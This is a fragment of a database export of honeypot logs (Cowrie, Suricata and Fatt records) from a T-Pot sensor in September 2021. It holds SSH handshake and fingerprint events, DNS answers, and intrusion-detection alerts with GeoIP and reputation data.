"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30371	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:34:39.822973+03	2021-09-20 14:45:02.918141+03	{"_id": "SQb8AnwBvYTbRNuEljx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "66aaf47912de", "@version": "1", "timestamp": "2021-09-20T11:34:39.822973Z", "@timestamp": "2021-09-20T11:34:39.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30372	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:34:39.549495+03	2021-09-20 14:45:02.919143+03	{"_id": "Sgb8AnwBvYTbRNuEljx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2130 (192.168.176.2:22) [session: 66aaf47912de]", "session": "66aaf47912de", "@version": "1", "protocol": "ssh", "src_port": 2130, "dest_port": 22, "timestamp": "2021-09-20T11:34:39.549495Z", "@timestamp": "2021-09-20T11:34:39.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30373	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:34:39.550244+03	2021-09-20 14:45:02.921141+03	{"_id": "Swb8AnwBvYTbRNuEljx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "66aaf47912de", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:34:39.550244Z", "@timestamp": "2021-09-20T11:34:39.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30375	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:34:40.804275+03	2021-09-20 14:45:02.923142+03	{"_id": "TQb8AnwBvYTbRNuEmDwq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 44059, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 566, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 792421228101634, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48846, "timestamp": "2021-09-20T11:34:40.804275Z", "@timestamp": "2021-09-20T11:34:40.804Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30376	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:40.856122+03	2021-09-20 14:45:02.924142+03	{"_id": "Tgb8AnwBvYTbRNuEmTwy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35392, "dest_port": 443, "timestamp": "2021-09-20T11:34:40.856122", "@timestamp": "2021-09-20T11:34:40.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30377	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:34:40.898121+03	2021-09-20 14:45:02.925142+03	{"_id": "Twb8AnwBvYTbRNuEmTwy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35392, "timestamp": "2021-09-20T11:34:40.898121", "@timestamp": "2021-09-20T11:34:40.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30378	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:34:41.172096+03	2021-09-20 14:45:02.927141+03	{"_id": "XQb8AnwBvYTbRNuEnDwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4935, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 565, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1288017504476100, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 46484, "timestamp": "2021-09-20T11:34:41.172096Z", "@timestamp": "2021-09-20T11:34:41.172Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30379	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:34:41.221468+03	2021-09-20 14:45:02.928173+03	{"_id": "Xwb8AnwBvYTbRNuEnTwc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35394, "dest_port": 443, "timestamp": "2021-09-20T11:34:41.221468", "@timestamp": "2021-09-20T11:34:41.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30380	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:28.918997+03	2021-09-20 14:45:02.930176+03	{"_id": "_gb8AnwBvYTbRNuEbTso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.918997+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1053808641967573, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:34:28.918997Z", "@timestamp": "2021-09-20T11:34:28.918Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30381	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:34:28.913882+03	2021-09-20 14:45:02.931173+03	{"_id": "Agb8AnwBvYTbRNuEbTwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.913882+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:fff0:9f02", "flow_id": 653491920237018, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:34:28.913882Z", "@timestamp": "2021-09-20T11:34:28.913Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
30382	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:29.918156+03	2021-09-20 14:45:02.932173+03	{"_id": "BAb8AnwBvYTbRNuEcTwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:29.918156Z", "@timestamp": "2021-09-20T11:34:29.918Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30383	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:30.409434+03	2021-09-20 14:45:02.934173+03	{"_id": "Bgb8AnwBvYTbRNuEcTwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 510}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAQADBAAAAP8CAAAAAAAAAAAAAAAAAPsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:30.409434Z", "@timestamp": "2021-09-20T11:34:30.409Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
30384	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:29.920394+03	2021-09-20 14:45:02.935174+03	{"_id": "Cgb8AnwBvYTbRNuEcTwT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:29.920394+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 101}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:00fb", "flow_id": 1024484752821066, "payload": "AAAAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgVsb2NhbAAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 5353, "app_proto": "failed", "dest_port": 5353, "timestamp": "2021-09-20T11:34:29.920394Z", "@timestamp": "2021-09-20T11:34:29.920Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B.local....."}}	1	\N	\N	alert	\N	\N
30385	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:29.917463+03	2021-09-20 14:45:02.936142+03	{"_id": "CAb8AnwBvYTbRNuEcTwS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 290}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAQADBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:29.917463Z", "@timestamp": "2021-09-20T11:34:29.917Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
30386	163.172.167.225	109.199.241.180	Fatt	2021-09-20 14:34:30.562735+03	2021-09-20 14:45:02.937173+03	{"_id": "Dgb8AnwBvYTbRNuEcjwf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49422, "dest_port": 22, "timestamp": "2021-09-20T11:34:30.562735", "@timestamp": "2021-09-20T11:34:30.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30387	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:34:30.514351+03	2021-09-20 14:45:02.93817+03	{"_id": "GAb8AnwBvYTbRNuEczxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9e36cb3a6b54", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:34:30.514351Z", "@timestamp": "2021-09-20T11:34:30.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30388	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:34:30.511408+03	2021-09-20 14:45:02.940183+03	{"_id": "GQb8AnwBvYTbRNuEczxN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:49422 (192.168.176.2:22) [session: 9e36cb3a6b54]", "session": "9e36cb3a6b54", "@version": "1", "protocol": "ssh", "src_port": 49422, "dest_port": 22, "timestamp": "2021-09-20T11:34:30.511408Z", "@timestamp": "2021-09-20T11:34:30.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30389	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:34:30.563318+03	2021-09-20 14:45:02.941177+03	{"_id": "Ggb8AnwBvYTbRNuEczxN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9e36cb3a6b54", "@version": "1", "timestamp": "2021-09-20T11:34:30.563318Z", "@timestamp": "2021-09-20T11:34:30.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 